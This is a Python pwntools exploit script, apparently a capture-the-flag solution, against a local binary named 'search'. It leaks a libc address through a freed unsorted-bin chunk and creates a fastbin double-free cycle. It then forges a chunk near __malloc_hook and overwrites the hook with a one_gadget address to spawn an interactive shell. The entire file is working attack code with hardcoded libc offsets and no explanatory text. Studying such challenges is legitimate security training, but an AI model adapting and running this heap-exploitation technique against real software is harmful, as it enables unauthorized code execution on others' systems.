from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
context.binary = "./search"
search = context.binary
 
p = process("./search")
main_arena_offset = 0x3c4b20
log.info('PID: ' + str(proc.pidof(p)[0]))
 
 
def offset_bin_main_arena(idx):
    word_bytes = context.word_size / 8
    offset = 4  # lock
    offset += 4  # flags
    offset += word_bytes * 10  # offset fastbin
    offset += word_bytes * 2  # top,last_remainder
    offset += idx * 2 * word_bytes  # idx
    offset -= word_bytes * 2  # bin overlap
    return offset
 
 
unsortedbin_offset_main_arena = offset_bin_main_arena(0)
 
 
def index_sentence(s):
    p.recvuntil("3: Quit\n")
    p.sendline('2')
    p.recvuntil("Enter the sentence size:\n")
    p.sendline(str(len(s)))
    p.send(s)
 
 
def search_word(word):
    p.recvuntil("3: Quit\n")
    p.sendline('1')
    p.recvuntil("Enter the word size:\n")
    p.sendline(str(len(word)))
    p.send(word)
 
 
def leak_libc():
    smallbin_sentence = 's' * 0x85 + ' m '
    index_sentence(smallbin_sentence)    
    search_word('m')
    p.recvuntil('Delete this sentence (y/n)?\n')  
    p.sendline('y')

    search_word('\x00')   
    p.recvuntil('Found ' + str(len(smallbin_sentence)) + ': ')
    unsortedbin_addr = u64(p.recv(8))
    p.recvuntil('Delete this sentence (y/n)?\n')
    p.sendline('n')
    return unsortedbin_addr
 
 
def exp():
    #pwnlib.gdb.attach(p,"b* 0x400870")
    # 1. leak libc base
    unsortedbin_addr = leak_libc()
    main_arena_addr = unsortedbin_addr - unsortedbin_offset_main_arena
    libc_base = main_arena_addr - main_arena_offset
    log.success('unsortedbin addr: ' + hex(unsortedbin_addr))
    log.success('libc base addr: ' + hex(libc_base))
    #gdb.attach(p)
    # 2. create cycle fastbin 0x70 size   
    index_sentence('a' * 0x5d + ' d ')  #a
    index_sentence('b' * 0x5d + ' d ')  #b
    index_sentence('c' * 0x5d + ' d ')  #c
 
    # a->b->c->NULL
    search_word('d')  
    p.recvuntil('Delete this sentence (y/n)?\n') #d c
    p.sendline('y')
    p.recvuntil('Delete this sentence (y/n)?\n') #d b
    p.sendline('y')
    p.recvuntil('Delete this sentence (y/n)?\n') #d a
    p.sendline('y')
 
    # b->a->b->a->...    
    search_word('\x00')    
    p.recvuntil('Delete this sentence (y/n)?\n')    #dele b
    p.sendline('y')
    p.recvuntil('Delete this sentence (y/n)?\n')    #no dele a
    p.sendline('n')
    p.recvuntil('Delete this sentence (y/n)?\n')    #no dele libc_leak 's sentence
    p.sendline('n')
 
    # b->a->b
    # 3. fastbin attack to malloc_hook nearby chunk   
    fake_chunk_addr = main_arena_addr - 0x33
    fake_chunk = p64(fake_chunk_addr).ljust(0x60, 'f')
 
    index_sentence(fake_chunk)
 
    index_sentence('a' * 0x60)  
 
    index_sentence('b' * 0x60)  
 
    one_gadget_addr = libc_base + 0xf02a4
    payload = 'a' * 0x13 + p64(one_gadget_addr)  
    payload = payload.ljust(0x60, 'f')
 
    index_sentence(payload)    
    p.interactive()
 
 
if __name__ == "__main__":
    exp()
